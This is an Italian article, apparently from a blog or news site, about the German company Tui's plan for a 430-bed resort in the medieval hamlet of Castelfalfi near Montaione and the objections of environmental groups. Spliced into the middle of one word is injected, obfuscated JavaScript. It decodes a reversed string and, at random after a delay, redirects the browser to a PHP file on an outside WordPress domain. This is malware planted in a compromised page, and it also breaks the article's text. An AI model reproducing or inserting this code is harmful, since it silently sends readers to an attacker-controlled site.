Castelfalfi in mano ai tedeschi

image_pdfimage_print

Il borgo medievale di Castelfalfi, nei pressi di Montaione, semiabb (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andonato, un grande albergo. Il progetto attuale prevede un ‘resort’ da 430 posti letto che ha destato l’apprensione di molti cittadini e associazioni per il grande impatto ambientale e sociale. Per far digerire il boccone – tra i nomi possibili “Robinson village” – è stato messo su un ‘percorso partecipativo’ di ben 5 assemblee pubbliche, che hanno partorito otto ‘raccomandazioni’ per la Tui, che si è detta disponibile a seguirle. Ma restano amarezza e preoccupazione in tutto il fronte ambientalista, dal WWF a Legambiente, da Italia Nostra a numerosi urbanisti e paesaggisti italiani, allarmati per l’ennesima svendita dell’identità toscana.

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *